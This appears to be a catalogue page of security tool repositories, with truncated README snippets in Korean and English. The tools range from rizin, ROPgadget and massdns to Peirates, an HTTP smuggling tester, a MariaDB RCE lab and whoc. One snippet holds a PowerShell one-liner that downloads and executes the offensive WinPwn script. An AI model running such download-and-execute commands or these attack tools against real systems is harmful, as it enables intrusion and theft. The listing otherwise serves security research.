rizin

Rizin Rizin은 radare2의 포크로 탄생한 리버스 엔지니어링 프레임워크로, 유용성, 기능 및 코드의 깔끔함에 중점을 둡니다. Rizin은 이식성이 뛰어나며 바이너리 분석, 코드 디스어셈블, 프로그램 디버깅, 포렌식 도구, 디스크 파일을 열 수 있는 스크립트 가능한 명령줄 16진수 편집기 등으로 사용할 수 있습니다! Rizin에 대해 더 자세히 알아보려면 공식 Rizin 책을 읽어보세요. 설치 방법 웹 페이지의 설치 지침을 확인하세요. 빌드 방법 meson을 사용하여 Rizin을 컴파일하고 설치하세요. 최신 meson...

mariadb-13-rce-lab

MariaDB 13.0.1-rc RCE 실습 환경 수정되지 않은 순정 MariaDB 13.0.1-rc Docker 이미지 에서 uid 999mysql로 원격 코드 실행RCE을 수행합니다. 두 가지 익스플로잇 변형: 변형| 파일| 요구 사항| 비고 ---|---|---|--- 순수 SQL 권장| exploitpuresql.py| 낮은 권한의 MariaDB 계정 + TCP| 호스트 접근 불필요, docker 불필요, /proc/mem 불필요, root 비밀번호 불필요 호스트 지원 PoC| exploit.py| Docker 호스트의...

peirates

Peirates What is Peirates? Peirates, a Kubernetes penetration tool, enables an attacker to escalate privilege and pivot through a Kubernetes cluster. It automates known techniques to steal and collect service account tokens, secrets, obtain further code execution, and gain control of the cluster...

obfDetect

난독화 탐지 작성자: mcdulltii 자동으로 난독화된 코드 및 기타 상태 머신 탐지 설명: 바이너리에서 난독화된 코드와 상태 머신을 자동으로 탐지하는 스크립트입니다. 구현은 IDA 7.4+ Python3를 기반으로 합니다. Binary Ninja 구현에 대한 자세한 내용은 다음 블로그 게시물을 참조하세요: 제어 흐름 평탄화 자동 탐지 난독화된 코드 자동 탐지 참조 저장소 참고: 휴리스틱 값은 위 블로그 게시물을 기반으로 생성되며, All Functions 모드에서 실행 시 휴리스틱 복잡성에 따라 위에서 아래로 정렬됩니다...

Pentest-Tools-Collection

Pentest 도구 모음 Active Directory AMSI https://amsi.fail/ 도구 모음 WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack https://github.com/GhostPack...

shellcodetester

Shellcode Tester ShellcodeTester officially supports Python 3.8+. Main features Assembly ASM file 32 and 64 bits Assembly ASM file to Windows, Linux and MacOS Check badchars Output to several formats NASM Shell Other amazing features... Shellcode Tester - Getting stats shellcodetester -asm file.a...

shellcodetester

Shellcode Tester ShellcodeTester는 공식적으로 Python 3.8+를 지원합니다. 주요 기능 Assembly ASM 파일 32비트 및 64비트 Windows, Linux 및 MacOS용 Assembly ASM 파일 배드캐릭터badchars 확인 여러 형식으로 출력 NASM 셸 기타 놀라운 기능들... Shellcode Tester - 통계 확인 shellcodetester -asm file.asm 이 명령은 ASM 파일을 어셈블하고 ELF 바이너리를 컴파일합니다. ShellcodeTester v0.2....

universal-flutter-ssl-pinning

universal-flutter-ssl-pinning PyGhidra를 사용하여 libflutter.so를 리버스 엔지니어링하여 SSL 인증서 검증 함수를 찾은 다음, Frida 와 Renef 모두에서 사용할 수 있는 우회 스크립트를 생성합니다. 작동 방식 1. PyGhidra가 libflutter.so를 헤드리스 모드로 로드하고 정의된 모든 문자열에서 sslclient를 스캔합니다. 2. 해당 문자열의 교차 참조를 확인하여 이를 포함하는 함수를 찾습니다. 3. 각 함수를 디컴파일하여 정확한 매개변수 개수를 얻습니다. 4. 3...

norimaci

Norimaci "Norimaci" is a simple and lightweight malware analysis sandbox for macOS. This tool was inspired by "Noriben". Norimaci uses the features of OpenBSM or Monitor.app to monitor macOS system activity instead of Sysinternals Process Monitor procmon. Norimaci consists of 3 Python scripts...

ROPgadget

ROPgadget 도구 이 도구는 바이너리에서 가젯을 검색하여 ROP 공격을 용이하게 해줍니다. ROPgadget은 x86, x64, ARM, ARM64, PowerPC, SPARC, MIPS, RISC-V 64 및 RISC-V Compressed 아키텍처에서 ELF/PE/Mach-O/Raw 형식을 지원합니다. 설치 가장 쉬운 방법은 PyPi에서 ROPgadget을 설치하는 것입니다: $ sudo apt install python3-pip $ sudo -H python3 -m pip install ROPgadget $...

e9patch

E9Patch - 강력한 정적 바이너리 재작성 도구 E9Patch는 x8664 Linux ELF 바이너리를 위한 강력한 정적 바이너리 재작성 도구입니다. E9Patch는 다음과 같은 특징을 가집니다: 확장 가능 : E9Patch는 웹 브라우저100MB 크기를 포함한 크고 복잡한 바이너리를 안정적으로 재작성할 수 있습니다. 호환성 : 재작성된 바이너리는 원본을 대체하여 사용할 수 있으며, 추가 종속성이 없습니다. 빠름 : E9Patch는 대부분의 바이너리를 몇 초 안에 재작성할 수 있습니다. 낮은 오버헤드 : 성능과 메모리 모두...

massdns

MassDNS A high-performance DNS stub resolver MassDNS is a simple high-performance DNS stub resolver targeting those who seek to resolve a massive amount of domain names in the order of millions or even billions. Without special configuration, MassDNS is capable of resolving over 350,000 names per...

massdns

MassDNS 고성능 DNS 스텁 리졸버 MassDNS는 수백만 또는 수십억 개에 이르는 대량의 도메인 이름을 해석하려는 사용자를 대상으로 하는 간단한 고성능 DNS 스텁 리졸버입니다. 특별한 구성 없이도 MassDNS는 공개적으로 사용 가능한 리졸버를 사용하여 초당 350,000개 이상의 이름을 해석할 수 있습니다. 기여자 Quirin Scheitle, 뮌헨 공과대학교 컴파일 git 저장소를 클론하고 프로젝트 루트 폴더로 cd한 후, make를 실행하여 소스에서 빌드합니다. Linux가 아닌 경우 make nolinux를...

TraceTree

TraceTree TraceTree Demo TraceTreecascade-analyzer는 에이전트 시대를 위해 설계된 자율 보안 유기체입니다. 단순한 스캐닝을 넘어 견고하고 강화된 확장형 탐지 생태계로 발전합니다. 마스코트인 거미처럼, TraceTree는 여덟 개의 특화된 "다리"를 사용하여 개발 워크플로우 주변에 포괄적인 보호망을 엮습니다. 목차 저장소 구조 행동 영수증 내보내기 TraceTree 거미의 8개 다리 작동 방식 탐지 대상 행동 시그니처 시간적 패턴 지원 대상 빠른 시작설치로 건너뛰기 전제 조건 설치 분석 실...

ronin

ronin Website Source Issues Documentation Discord | Mastodon Description Roninwebsite is a free and Open Source Ruby toolkit for security research and development. Ronin contains many different CLI commands and Ruby librariesronin-rb for a variety of security tasks, such as encoding/decoding data...

smuggler

/ | | | | \ | | | | |/ |/ | || |/ | | | || | | | || | | /||||/ \ |\ || | @defparam Smuggler An HTTP Request Smuggling / Desync testing tool written in Python 3 Acknowledgements A special thanks to James Kettle for his research and methods into HTTP desyncs And a special thanks to Ben Sadeghipour...

web3-decoder

Web3 Decoder Web3 Decoder는 web3 스마트 계약과 관련된 작업에서 어떤 일이 일어나고 있는지 분석하는 데 도움을 주는 Burp Suite 확장 프로그램입니다. 주로 이더리움 노드 및 기타 호환 네트워크Polygon, Arbitrum, BSC 등의 노드에 대한 JSON-RPC 호출을 분석합니다. 다운로드 및 설치 최신 확장 프로그램 JAR를 다운로드하세요 — 이 링크는 항상 최신 릴리스를 제공합니다: ⬇ web3-decoder.jar 최신 이전 버전은 릴리스 페이지에서 확인할 수 있습니다. 그런 다음 Bur...

tmux

Welcome to tmux! tmux is a terminal multiplexer: it enables a number of terminals to be created, accessed, and controlled from a single screen. tmux may be detached from a screen and continue running in the background, then later reattached. This release runs on OpenBSD, FreeBSD, NetBSD, Linux,...

Z-Jail

Z-Jail Linux에서 네이티브 코드 실행을 위한 다층 샌드박스. 7개의 독립적인 방어 계층 — 외부 의존성 없음, 73KiB PIE 바이너리. ┌──────────────────────────────────────────────────────┐ │ Z-Jail │ ├──────────────────────────────────────────────────────┤ │ Truthimatics PV evidence-based verdict engine │ │ Namespaces mount, pid, net, ipc, uts ...

whoc

whoc A container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform! WhoC at Defcon 29 Cloud Village Azurescape - whoc-powered research, the first cross-account container takeover i...